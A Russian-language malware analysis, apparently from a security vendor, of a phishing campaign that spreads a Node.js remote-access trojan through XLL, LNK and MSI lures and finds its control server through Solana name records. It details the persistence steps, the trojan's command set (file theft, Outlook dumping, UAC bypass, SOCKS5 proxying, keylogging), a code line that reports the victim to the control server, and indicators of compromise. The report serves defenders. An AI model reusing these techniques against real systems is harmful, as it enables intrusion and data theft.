
В январе 2026 года специалистами группы киберразведки департамента Threat Intelligence экспертного центра безопасности (PT ESC) была обнаружена атака с использованием вредоносного XLL-файла, внутри которого была цепочка обфусцированных JavaScript-файлов, работающих на основе платформы NodeJS. Система жертвы заражалась вредоносным ПО класса RAT (remote access trojan) с большим количеством доступных команд. Среди особенностей вредоносного кода удалось обнаружить SNS-записи (Solana Name Service) для получения альтернативного адреса сервера злоумышленников. Детальное исследование позволило расширить временной диапазон атаки: вредоносная активность зафиксирована с середины октября 2025 года и наблюдается до сих пор.
В этой статье мы подробнее расскажем о том, как работает цепочка атаки с использованием блокчейна Solana.
Вредоносное вложение
Изначально удалось обнаружить ZIP-архив с вредоносным файлом и документом-приманкой, что характерно для распространения ВПО через фишинг с вредоносным вложением. На основе содержимого документов-приманок можно предположить темы писем:
Предложение о сотрудничестве
Коммерческое предложение
Приказ от командования
Примеры приманок представлены ниже.


Вредоносный файл во вложении был обнаружен в трех форматах:
XLL-файл,
LNK-фай,
MSI-установщик.
XLL-файл
Алгоритм работы XLL-файла на зараженной системе не отличается высокой сложностью. При открытии файла с Excel-таблицей запускается экспортируемая функция xlAutoOpen, основная цель которой:
Декодировать Base64-строку с PowerShell-командой.
Выполнить полученную команду.
Сама команда схожа с теми, которые используются далее в других файлах (LNK, MSI):

XLSX-файл, открываемый исполняемым файлом, представляет собой форму для заполнения.

Во вредоносном файле можно также найти уникальную строку вида ##EMBED_BASE64_START##, которая встречается внутри еще одного файла — тестового XLL-образца, обнаруженного в декабре 2025 года. В то время принцип работы был тот же, меняется лишь сервер злоумышленников с полезной нагрузкой.
Сами индикаторы компрометации будут приложены в конце статьи.
LNK-файл
В ходе исследования мы обнаружили четыре LNK-файла со следующими названиями:
Приказ по соединению № 004_Гроза.docx.lnkБОБ, задача фотофіксації для мінування.docx.lnkГуманитарка_для_подразделения.docx.lnkВолонтерка остатки.docx.lnk
Во всех LNK-файлах, как было сказано ранее, используется схожая команда для получения полезной нагрузки.


Метаданные одного из файлов позволяют расширить кластер вредоносной активности, однако в рамках этой статьи мы сконцентрируем внимание на атаках на страны СНГ.

MSI-файл
На основе общего с тестовым XLL-файлом сервера было обнаружено несколько вредоносных установщиков со следующими названиями:
kommercheskoe-predlozhenie-xlsx.msikommercheskoe-predlozhenie-pdf.msi
Внутри установщика были:
VBS-файл, который запускает PowerShell-скрипт из той же папки, в которой находится этот файл.
PowerShell-скрипт с названием
run-script.ps1.
Пример скрипта внутри файла run-script.ps1:

Загрузчик необходимых для атаки компонентов
Выполнение всех команд, показанных выше, приводит к скачиванию полезной нагрузки — PowerShell-скрипта:

Алгоритм работы:
Отослать на сервер злоумышленников запрос для фиксации системы жертвы в базе.
Проверить наличие Node.js в системе жертвы. Если нет — загрузить легитимный файл.
Загрузить следующую полезную нагрузку и запустить через Node.js.
Обфусцированный JavaScript-загрузчик
Скачиваемая полезная нагрузка — обфусцированный вредоносный JavaScript-код размером около 5 МБ. Такой размер обоснован распаковкой базовых модулей Node.js в код самого загрузчика (можно воспринимать как статическую компоновку исполняемых файлов).
Основные компоненты обфускации:
переименование переменных;
разделение строковых констант;
формирование строк из перемешанного массива байтов;
распаковка модулей Node.js.
Фрагмент функции main можно видеть ниже.

После деобфускации код выглядит следующим образом.

Алгоритм работы загрузчика:
Закрепление в системе:
Создание файла
%USERPROFILE%\AppData\Local\nodejs\index.vbsсо следующим содержимым:
Создание LNK-файла
CommonApp.lnkв папке автозагрузки для запуска скрипта выше.Создание запланированной задачи с названием
ZeroDriveBackupTaskSystem141.1.7272.0для запуска VBS-скрипта выше. Задача работает каждые 5 минут.
Определение сервера злоумышленников:
Если установлена переменная окружения SNS_DOMAIN — получить домен через TXT-запись SNS-домена.
Если переменной нет — использовать константную API-ссылку
https://playerdragonbike[.]com.
Формирование прокси-объекта. Сам прокси-объект служит для динамического API-клиента, способного работать на основе нескольких протоколов (HTTP, WebSocket). В контексте вредоносного кода использовался только HTTP-протокол для получения полезной нагрузки.
В процессе анализа JavaScript-кода была обнаружена конфигурация децентрализованного приложения, работающего в блокчейн-сети Solana. Эта конфигурация, равно как и классы, является частью библиотеки
@solana/web3.jsи необходима только для получения TXT-записи.
Важно уточнить, что последние два шага закрепления загрузчика выполняются через одну PowerShell-команду, которая кодируются в Base64-строку. Команда выглядит следующим образом:

Чтобы получить основной модуль, загрузчик считывает серийный номер диска и считает от этой строки MD5-хеш. Затем отсылается запрос на сервер злоумышленников с GET-параметрами через сформированный прокси-объект vHc:
const v3626 = await vHc.index.$get({ query: { cid: "b72f75cb3b22e364", mod: "main", huidMd5: v3625 } });
Подобный запрос, если возникают какие-то ошибки во время работы кода, бесконечно повторяется каждые 10 секунд.
Основной модуль
Главная полезная нагрузка также является обфусцированным JavaScript-кодом. Способы обфускации не изменились относительного загрузчика. Изучение кода показывает, что полученный модуль является полноценным RAT с большим набором выполняемых команд и собираемых данных.
Установка сетевого соединения
Сетевое взаимодействие с сервером злоумышленников тоже работает на основе прокси-объекта, однако в этот раз он работает в режиме веб-сокета. Для корректной работы в начале функции main выставляется mutex на основе необходимого для сети порта:
const v1656 = await createMutex(40000); // 40000 - WebSocket port
Если порт свободен — в системе жертвы успешно запускается сервер, прослушивающий запросы на порт 40000.

Типы обрабатываемых сообщений. Список команд
После успешной установки сокет-соединения при появлении нового сообщения от сервера проверяется тип этого сообщения:

Сама схема общения достаточно обширна и зависит от типа присылаемой команды. Для наглядности покажем базовый заголовок каждого сообщения сервера, а затем в таблице отразим дополнительную информацию для каждой команды:
type: 'task' | 'socks5-connect' | 'socks5-data' | 'socks5-close' additional: {}
Для сообщения типа task additional выглядит следующим образом:
id: string; type: 'download-file' | 'dump-outlook' | 'force-delete' | 'get-location' | 'get-meta' | 'install-ssh'| 'list-drives' | 'list-files' | 'powershell' | 'powershell-preconfigured' | 'restart' | 'restart-with-uac-bypass' | 'run-binary' | 'run-ssh-module' | 'screenshot' | 'shutdown' | 'write-file' args: {}
Для socks5-connect:
connectionId: string; targetHost: string; targetPort: number;
Для socks5-data запрос показан ниже. Основная цель SOCKS5-соединения — перенаправление сообщений (данных) на другой сервер:
connectionId: string; data: string;
Для socks5-close:
connectionId: string;
Всего вредонос способен обработать 17 команд.
Тип команды | Структура аргументов | Описание | Отправляемый ответ |
download-file | filePath: string | Загрузить файл из зараженной системы по пути | success: boolean fileData: string fileName: string fileSize: string error: string |
dump-outlook | — | Установить модуль для сбора информации из Outlook и запустить его | success: Boolean data: outlookDumpSchema error: string |
force-delete | — | Скачать
| — |
get-location | — | location: string | |
get-meta | — | Получение полной системной информации: имени пользователя, его текущих полномочий, версии сборки Windows, данных о количество оперативной памяти, о видеокарте | type: ‘pc-info’ username:string hostname: string osCaption: string osVersion: string osBuildNumber: string cpus: string[] gpus: string[] ram: string domain: string permissionInfo: permissionsInfoSchema |
install-ssh | — | В коде не реализовано | — |
list-drives | — | Получение всех логических томов на системе, определение типа тома (сетевой адаптер, CD-ROM и др.), количества свободного места на всех томах | result: driveListSchema |
list-files | path: string | Листинг папки по пути | result: fileListSchema |
powershell | commandId: string | Получение | output: string |
powershell-preconfigured | commandKey: “cf6180e3501d” | “af4d98a99681” | “f45f0a4a3ccd” | Выполнение
| output: string |
restart | — | Завершение собственного процесса с кодом 0 | — |
restart-with-uac-bypass | — | Завершение собственного процесса с кодом | — |
run-binary | binaryUrl: stringbinaryType: “exe” | “msi” | “zip” | “dll”args: {} | Получение исполняемого файла по ссылке | — |
run-ssh-module | — | Загрузка SSH-модуля по ссылке | — |
screenshot | — | Формирование снимка экрана | screenshotB64: string |
shutdown | — | В коде не реализована |
|
write-file | filePath: stringfileUrl: string | Загрузка файла по ссылке | success: boolean error: string |
Из описания команд понимаем, что сам RAT имеет модульную архитектуру. При необходимости дополнительные модули либо подгружаются по известным ссылкам, либо скачиваются как независимые исполняемые файлы или шеллкоды. В процессе исследования не удалось получить дополнительные модули.
Помимо основных задач и SOCK5-соединений в коде происходит отдельный запуск двух отдельных модулей — клиппера и кейлоггера. Они также загружаются с сервера злоумышленников.
Сравнение с раннее обнаруженными атаками
Похожие атаки уже были обнаружены другими исследователями. Так, специалисты BlueVoyant описывали аналогичные обфусцированные JavaScript-файлы с подобными способами закрепления и сетевым взаимодействием. Однако в их исследовании указано использование техники ClickFix, что отличается от тех цепочек атак, которые были обнаружены нами.
Сконцентрируемся на особенностях кода, которые были замечены во время деобфускации:
Комментарии или вывод в консоль на русском языке, что может говорить о потенциальной географии злоумышленников. Например:
Получаем TXT-запись для домена # Проверяем через группу локальных администраторовИспользование чат-ботов для написания кода. Это можно понять на основе нескольких факторов:
Расхождение в общей логике кода. Например, если в загрузчике определяется API_URL на основе переменной окружения SNS_DOMAIN, то в основном модуле снова используется константная ссылка.
Комментарии с использованием эмодзи:
🔍 Using API URL: ❌ Ошибка при получении TXT-записи: ⚠️ Records V2 не найдены, проверяем V1.
Поскольку наши коллеги никак не назвали этот кластер активности, мы решили назвать группу хакеров, стоящих за этими атаками, HeartlessSoul.
Другая, не менее важная составляющая — расположенные на серверах злоумышленников страницы. Например, на IP-адресе 185.208.158[.]188 одновременно находилось несколько доменов, один из которых — домен, обнаруженный в атаке, другой — ozonwork.org.

Из имени домена ясно, что злоумышленники мимикрируют под известный маркетплейс, дополнительно собирая пользовательские данные. Из любопытных деталей можно заметить комментарии в разметке страницы (см. ниже).

Однако не стоит делать выводы только на основе языка HTML-комментария. Стоит также учитывать географию атак: мы наблюдаем их на территории России и других стран, например Молдовы, Украины, Мексики, Германии, США.
Наша команда киберразведки продолжит наблюдать за активностью злоумышленников из HeartlessSoul.
Индикаторы компрометации
Индикаторы, связанные с атакой
(DOMAINS)
newfolder[.]click
landownerdozenguard[.]com
playerdragonbike[.]com
ozonjob[.]org
ozonwork[.]org
(LNK)e59b01f23bea63893707542ef15b3e092928b52254a7134924e5a5cb6407e6e2
d8498dafcd22923116bba133be9969c467953acbf3c04b365c4b725bfa590061
ff690b11f7b2fbcf1f3abd217476b9fa6830cc380cb5607af2d0ec4e5a345208
8f50ad1027bbe999313bd6b9cf690f5dcafdd926a3e7ebdf7b82c80cec95c511
(MSI)b9cb3dba8a536eb41c9fee7d243640dc0ec3cd5a7e80eb4855467d0acbf7af5e
ae4fd0d67b40c5b680a6c481a1d2486893c16b067680bb3d604ac8272f16570c
c0ddf84e29374cd53ff4a44ff50e88e1b663fae404bc1a5200bbac38c8d1df36
(ZIP)da51169b370f6cc1cc10ce54fd4756276e53b57b2687f23176e793f6f6ef66c4
(XLL)3d3fd2af8e5efdcc3ab8d8b50200c89e6a31bf42e19a3d1bac5f9fb51dabac46
6ac78281275c1770245b28de04542383a51b0702d7f0cb380dfd043806b975d3
Сетевые индикаторы после расширения кластера
Здесь хочется упомянуть индикаторы компрометации, которые связаны с обнаруженными по следующим параметрам:
Схожий формат ссылок (/c/add)
Общие IP-адреса
Похожая структура домена и (или) поддомена (повторяющиеся биграммы, идентичная доменная зона и др.)
*.kyun[.]li
codeinecrazy[.]xyz
wsconnection[.]xyz
w2socks[.]xyz
w2li[.]xyz
w2link[.]xyz
weaplink[.]com
wv3link[.]com
wv3pub[.]com
sharecodepro[.]com
Климентий Галкин
Специалист группы киберразведки TI-департамента экспертного центра безопасности Positive Technologies
Максим Суслов
Старший специалист группы анализа уязвимостей экспертного центра безопасности Positive Technologies
